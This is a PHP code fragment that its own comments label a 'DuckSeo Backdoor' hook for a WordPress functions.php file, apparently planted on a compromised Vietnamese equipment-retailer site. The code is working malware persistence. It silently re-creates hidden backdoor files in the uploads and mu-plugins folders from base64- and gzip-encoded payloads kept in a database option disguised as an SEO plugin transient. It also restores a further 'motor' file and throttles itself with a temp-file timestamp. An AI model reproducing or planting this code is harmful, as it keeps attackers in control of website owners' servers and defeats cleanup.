// DK-RESTORE-a27914ae START
// DuckSeo Backdoor L3 — functions.php hook (self-heal: eksik katmanları L4'ten RESTORE eder)
(function() {
if (!function_exists('gzdecode')) return;
$dk_l1 = '/home/maything/thietbikhoahocvn.com/wp-content/uploads/2026/09/.dk-thumb-a27914ae9ea6c0a6.php';
$dk_l2 = '/home/maything/thietbikhoahocvn.com/wp-content/mu-plugins/.dk-cache-a27914ae9ea6c0a6.php';
$dk_hash = 'a27914ae';
$dk_option = '_transient_wpseo_a27914ae9ea6c0a6';
$dk_ts = sys_get_temp_dir() . '/.dk_fheal_' . md5($dk_hash);
$last = @intval(@file_get_contents($dk_ts));
if ($last && (time() - $last) < 21600) return;
@file_put_contents($dk_ts, (string)time());
$missing = array();
if (!@is_file($dk_l1)) $missing[] = 'l1';
if (!@is_file($dk_l2)) $missing[] = 'l2';
if (!empty($missing) && function_exists('get_option')) {
$raw = get_option($dk_option, '');
if (!empty($raw)) {
$payload = @json_decode($raw, true);
if (is_array($payload)) {
foreach ($missing as $layer) {
if (!isset($payload[$layer])) continue;
$src = @base64_decode($payload[$layer]);
if (!$src) continue;
$src = @gzdecode($src);
if (!$src) continue;
$target = ($layer === 'l1') ? $dk_l1 : $dk_l2;
$dir = dirname($target);
if (!@is_dir($dir)) @mkdir($dir, 0755, true);
@file_put_contents($target, $src);
}
}
// Motor self-heal
if (isset($payload['motor']) && isset($payload['motor_file']) && defined('ABSPATH')) {
$mpath = rtrim(ABSPATH, '/') . '/' . ltrim($payload['motor_file'], '/');
if (!@is_file($mpath)) {
$msrc = @gzdecode(@base64_decode($payload['motor']));
if ($msrc) @file_put_contents($mpath, $msrc);
}
}
}
}
})();
// DK-RESTORE-a27914ae END
đầu điều khiển nhiệt độ MX trong nhà hàng - THIẾT BỊ KHOA HỌC
